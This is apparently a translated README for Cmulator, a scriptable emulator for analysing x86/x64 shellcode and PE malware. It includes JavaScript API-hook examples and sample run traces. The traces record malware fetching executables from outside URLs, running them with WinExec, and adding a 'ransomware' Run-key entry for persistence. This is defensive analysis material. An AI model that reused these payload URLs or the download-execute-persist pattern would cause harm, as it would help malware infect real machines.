Cmulator - 可脚本化 x86 RE 沙箱模拟器 (v0.3 Beta)

Cmulator 是 ( x86 - x64 )
可脚本化逆向工程沙箱模拟器，用于 shellcode 和 PE 二进制文件
基于 Unicorn & Capstone Engine 和 JavaScript 。

💬 这是最后一个支持的 Pascal 版本，新的代码库 (C/C++) 将在此处 Cmulator。

支持的架构：

i386
x86-64

支持的文件格式

PE, PE+
shellcode

已知问题

在 Unicorn 中有一个修改 EIP 附近数据的 bug
如果有人能帮忙，请检查 unicorn#820

当前功能

模拟的 GDT 和段。
为 shellcode 和 PE 模拟的 TEB 和 PEB 结构。
模拟的 LDR 表和数据结构。
管理镜像和栈内存。
基于 DLL 导出评估函数。
跟踪所有执行的 API（适用于混淆 PE）。
基于引用的内存位置显示包含字符串的 HexDump。
修补内存。
使用 JavaScript (脚本) 自定义 API 钩子。
处理 SEH（仍需更多工作）。
[+] 钩子地址。
[+] Apiset 映射解析器

[+] 更新日志

V0.3 Beta
- 这是最后一个支持的 Pascal 版本，新的代码库 (C/C++) 将在此处 https://github.com/Cmulator/Cmulator。
v0.2 beta
- [+] 添加钩子地址
- [+] 实现 API schema forworder
- [+] 将反汇编器从 Capstone 更改为 Zydis 引擎
- [√] 改进 SEH 处理
- [√] 改进 JS 到 API 的处理
- [√] 改进通过地址、名称或序号进行的 API 检测
v0.1 beta
- 初始版本

钩子示例 JavaScript

var GetModuleFileName = new ApiHook();
/*
DWORD WINAPI GetModuleFileName(
  _In_opt_ HMODULE hModule,
  _Out_    LPTSTR  lpFilename,
  _In_     DWORD   nSize
);
*/
GetModuleFileName.OnCallBack = function (Emu, API, ret) {

	Emu.pop(); // ret
	
	var hModule    = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop();
	var lpFilename = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop();
	var nSize	   = Emu.isx64 ? Emu.ReadReg(REG_R8D) : Emu.pop();

	var mName = Emu.GetModuleName(hModule);
	var Path = 'C:\\pla\\' + mName;

	var len = API.IsWapi ? Emu.WriteStringW(lpFilename,Path) : Emu.WriteStringA(lpFilename,Path);

	// null byte - mybe needed maybe not :D - i put it anyway :V 
	API.IsWapi ? Emu.WriteWord(lpFilename + (len * 2),0) : Emu.WriteByte(lpFilename+len,0);

	print("{0}(0x{1}, 0x{2}, 0x{3}) = '{4}'".format(
		API.name,
		hModule.toString(16),
		lpFilename.toString(16),
		nSize.toString(16),
		Path
	));

	// MS Docs : the return value is the length of the string
	Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, len);	
	Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret);
	return true; // true if you handle it false if you want Emu to handle it and set PC .
};

GetModuleFileName.install('kernel32.dll', 'GetModuleFileNameA');
GetModuleFileName.install('kernel32.dll', 'GetModuleFileNameW');

var _vsnprintf = new ApiHook();
/*
int _vsnprintf(  
   char *buffer,  
   size_t count,  
   const char *format,  
   va_list argptr   
);
*/
_vsnprintf.OnCallBack = function (Emu, API, ret) {

	// save the param to args
	// args is an Array and it's implemented in every ApiHook .
	_vsnprintf.args[0] = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + 4);

	// i think implementing this in JS is hard 
	// so just let the library handle it :D 
	return true; // True so we continue to the lib code .
};

// OnExit Callback ..
_vsnprintf.OnExit = function(Emu,API){
	
	// Read Our Saved Param .
	var buffer = _vsnprintf.args[0];

	warn("OnExit : _vsnprintf() = '{0}' ".format(
		Emu.ReadStringA(buffer)
	));
}

_vsnprintf.install('msvcrt.dll', '_vsnprintf');

示例输出：

反调试下载器

Coldzer0 @ OSX $./Cmulator -f ../../samples/AntiDebugDownloader.exe -q

Cmulator Malware Analyzer - By Coldzer0

Compiled on      : 2018/09/29 - 01:51:51
Target CPU       : i386 & x86_x64
Unicorn Engine   : v1.0 
Cmulator         : v0.1

"AntiDebugDownloader.exe" is : x32
Mapping the File ..

[+] Unicorn Init done  .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn

[---------------- PE Info --------------]
[*] File Name        : AntiDebugDownloader.exe
[*] Image Base       : 0000000000400000
[*] Address Of Entry : 0000000000001000
[*] Size Of Headers  : 0000000000000400
[*] Size Of Image    : 0000000000004000
[---------------------------------------]

[---------------------------------------]
[            Fixing PE Imports          ]

[*] File Name  : AntiDebugDownloader.exe
[*] Import 3 Dlls

[+] Fix IAT for : kernel32.dll

[+] Fix IAT for : urlmon.dll

[+] Fix IAT for : advapi32.dll

[---------------------------------------]

[+] Segments & (TIB - PEB) Init Done .

[+] Loading JS Main Script : ../API.JS

Initiating 52 Libraries ...

[>] Run AntiDebugDownloader.exe

0x401005 : IsDebuggerPresent = 0
GetWindowsDirectoryA(403000, 260) = 10 - 'C:\Windows' 
0x40103d : URLDownloadToFileA(0, 'https://www.dropbox.com/s/fr3z6axblxfcmq8/UrlDownLoadtoFile.exe?dl=0', 'C:\Windows', 0, 0)
0x401051 : RegCreateKeyA(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', 0x403159) = 144
0x40106f : RegSetValueExA(144, 'ransomware', 0, REG_SZ, 'C:\Windows', 260)
0x40107a : RegCloseKey()
ExitProcess(0x0)

26 Branches - Executed in 9 ms

Cmulator Stop >> last Error : OK (UC_ERR_OK)



Press Enter to Close ¯\_(ツ)_/¯

x64 下载并执行 ShellCode

Coldzer0 @ OSX $./Cmulator -f ../../samples/Shellcodes/down_exec64.sc -sc -x64

Cmulator Malware Analyzer - By Coldzer0

Compiled on      : 2018/09/29 - 03:07:11
Target CPU       : i386 & x86_x64
Unicorn Engine   : v1.0 
Cmulator         : v0.1

"sc64.exe" is : x64
Mapping the File ..

[+] Unicorn Init done  .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn

[---------------- PE Info --------------]
[*] File Name        : sc64.exe
[*] Image Base       : 0000000000400000
[*] Address Of Entry : 0000000000001000
[*] Size Of Headers  : 0000000000000400
[*] Size Of Image    : 0000000000002000
[---------------------------------------]
[*] Writing Shellcode to memory ...
[√] Shellcode Written to Unicorn

[---------------------------------------]
[            Fixing PE Imports          ]

[*] File Name  : sc64.exe
[*] Import 0 Dlls

[---------------------------------------]

[+] Segments & (TIB - PEB) Init Done .

[+] Loading JS Main Script : ../API.JS

Initiating 25 Libraries ...

[>] Run sc64.exe

LoadLibraryA('urlmon') = 0x70714000
GetProcAddress(0x70714000,'URLDownloadToFileA') = 0x707ADB10
0x40111b : URLDownloadToFileA(0, 'http://192.168.10.129/pl.exe', 'C:\\Users\\Public\\p.exe', 0, 2489880)
SetFileAttributesA('C:\\Users\\Public\\p.exe',0x2)
WinExec('C:\\Users\\Public\\p.exe', 0)
FatalExit(0x0)

95 Steps - Executed in 295 ms

Cmulator Stop >> last Error : OK (UC_ERR_OK)



Press Enter to Close ¯\_(ツ)_/¯

x32 下载并执行 ShellCode

Coldzer0 @ OSX $./Cmulator -f ../../samples/Shellcodes/URLDownloadToFile.sc -sc

Cmulator Malware Analyzer - By Coldzer0

Compiled on      : 2018/09/29 - 03:07:11
Target CPU       : i386 & x86_x64
Unicorn Engine   : v1.0 
Cmulator         : v0.1

"sc32.exe" is : x32
Mapping the File ..

[+] Unicorn Init done  .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn

[---------------- PE Info --------------]
[*] File Name        : sc32.exe
[*] Image Base       : 0000000000400000
[*] Address Of Entry : 0000000000001000
[*] Size Of Headers  : 0000000000000400
[*] Size Of Image    : 0000000000002000
[---------------------------------------]
[*] Writing Shellcode to memory ...
[√] Shellcode Written to Unicorn

[---------------------------------------]
[            Fixing PE Imports          ]

[*] File Name  : sc32.exe
[*] Import 0 Dlls

[---------------------------------------]

[+] Segments & (TIB - PEB) Init Done .

[+] Loading JS Main Script : ../API.JS

Initiating 25 Libraries ...

[>] Run sc32.exe

GetProcAddress(0x70300000,'LoadLibraryA') = 0x703149D7
LoadLibraryA('urlmon.dll') = 0x7065a000
GetProcAddress(0x7065A000,'URLDownloadToFileA') = 0x706F08D0
GetProcAddress(0x70300000,'WinExec') = 0x70392C21
0x40113b : URLDownloadToFileA(0, 'https://rstforums.com/fisiere/dead.exe', 'dead.exe', 0, 0)
WinExec('dead.exe', 1)

3041 Steps - Executed in 415 ms

Cmulator Stop >> last Error : OK (UC_ERR_OK)



Press Enter to Close ¯\_(ツ)_/¯

显示 SEH 处理 (PELock 混淆器)

Coldzer0 @ OSX $./Cmulator -f ../../samples/obfuscated/obfuscated.exe -ex

Cmulator Malware Analyzer - By Coldzer0

Compiled on      : 2018/09/29 - 03:07:11
Target CPU       : i386 & x86_x64
Unicorn Engine   : v1.0 
Cmulator         : v0.1

"obfuscated.exe" is : x32
Mapping the File ..

[+] Unicorn Init done  .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn

[---------------- PE Info --------------]
[*] File Name        : obfuscated.exe
[*] Image Base       : 0000000000400000
[*] Address Of Entry : 000000000000A4BD
[*] Size Of Headers  : 0000000000001000
[*] Size Of Image    : 000000000000F000
[---------------------------------------]

[---------------------------------------]
[            Fixing PE Imports          ]

[*] File Name  : obfuscated.exe
[*] Import 2 Dlls

[+] Fix IAT for : KERNEL32.dll

[+] Fix IAT for : USER32.dll

[---------------------------------------]

[+] Segments & (TIB - PEB) Init Done .

[+] Loading JS Main Script : ../API.JS

Initiating 44 Libraries ...

[>] Run obfuscated.exe

EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 1, data value = 0x0
0x403031 Exception caught SEH 0x25FEEC - Handler 0x409215
ZwContinue -> Context = 0x25F97C
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0
0x4056EC Exception caught SEH 0x25FEE8 - Handler 0x402516
ZwContinue -> Context = 0x25F978
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0
0x401974 Exception caught SEH 0x25FEE4 - Handler 0x4019CE
ZwContinue -> Context = 0x25F974
MessageBoxA(0, 'Hello world', 'Visit us at www.pelock.com', 64)
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0
0x403A49 Exception caught SEH 0x25FEF4 - Handler 0x40A17B
ZwContinue -> Context = 0x25F984
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0
0x40AD64 Exception caught SEH 0x25FEF4 - Handler 0x40B461
ZwContinue -> Context = 0x25F984
ExitProcess(0x0)

7387 Steps - Executed in 118 ms

Cmulator Stop >> last Error : OK (UC_ERR_OK)



Press Enter to Close ¯\_(ツ)_/¯

隐藏 SEH 处理 (PELock 混淆器)

Coldzer0 @ OSX $./Cmulator -f ../../samples/obfuscated/obfuscated.exe 

Cmulator Malware Analyzer - By Coldzer0

Compiled on      : 2018/09/29 - 03:07:11
Target CPU       : i386 & x86_x64
Unicorn Engine   : v1.0 
Cmulator         : v0.1

"obfuscated.exe" is : x32
Mapping the File ..

[+] Unicorn Init done  .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn

[---------------- PE Info --------------]
[*] File Name        : obfuscated.exe
[*] Image Base       : 0000000000400000
[*] Address Of Entry : 000000000000A4BD
[*] Size Of Headers  : 0000000000001000
[*] Size Of Image    : 000000000000F000
[---------------------------------------]

[---------------------------------------]
[            Fixing PE Imports          ]

[*] File Name  : obfuscated.exe
[*] Import 2 Dlls

[+] Fix IAT for : KERNEL32.dll

[+] Fix IAT for : USER32.dll

[---------------------------------------]

[+] Segments & (TIB - PEB) Init Done .

[+] Loading JS Main Script : ../API.JS

Initiating 44 Libraries ...

[>] Run obfuscated.exe

MessageBoxA(0, 'Hello world', 'Visit us at www.pelock.com', 64)
ExitProcess(0x0)

7387 Steps - Executed in 116 ms

Cmulator Stop >> last Error : OK (UC_ERR_OK)



Press Enter to Close ¯\_(ツ)_/¯

并且亲自尝试一下，在 "samples/obfuscated/obfuscated.exe" 中就能找到 😉

按优先级进行中的工作：

内存管理器 - 下一版本
检查 Bug 并修复它们 👌🏻
API schema forwarder 仍需更多改进和测试

按优先级待办事项：

需求

Freepascal >= v3
Unicorn Engine
Zydis Engine
QuickJS Engine

安装

安装 Lazarus IDE
所有需要的库都在 "libraries" 文件夹中 ;)
然后编译

编译

1. 编译 Cmulator

git clone https://github.com/Coldzer0/Cmulator.git

用 Lazarus IDE 打开 "Cmulator.lpi" 

然后点击编译 :D
哦，在此之前你需要选择编译模式

在 Laz IDE 中选择 

Projects -> Project Options -> Compiler Options 

然后为你的操作系统选择模式 。

或者直接从 Releases 下载

2. 创建 config.json 配置文件

touch config.json

3. 设置 Windows DLL 路径

设置 dll 文件夹路径，指向你存放 Windows DLL 和 JS 主文件的位置。

{
  "system": {
    "win32": "../win_dlls/x32_win7",
    "win64": "../win_dlls/x64_win7",
    "Apiset": "../Apiset.json"
  },
  "JS": {
  	"main": "../API.JS"
  }
}

运行

./Cmulator -file samples/AntiDebug.exe

文档

仍在编写中，即将发布。

致谢与资源：

这个工作受以下项目启发：

unicorn-libemu-shim - 我开始这个项目的主要原因 ❤ 。

LIBEMU - 钩子方法。

SCDBG - 交互式调试器。

xori - 我使用了他们构建 LDR 的方法。

使用的开源项目：

QuickJS Engine

Unicorn Engine

Zydis Engine

PE Parser

Pse PE Parse

generics collections

Super Object (JSON)

使用的资源：

Microsoft Docs

Understanding the PEB Loader Data Structure

Wine

Nynaeve Blog

ReWolf terminus - Windows data structures

OS Dev - GDT_Tutorial

Set up a GDT in Unicorn

Cmulator

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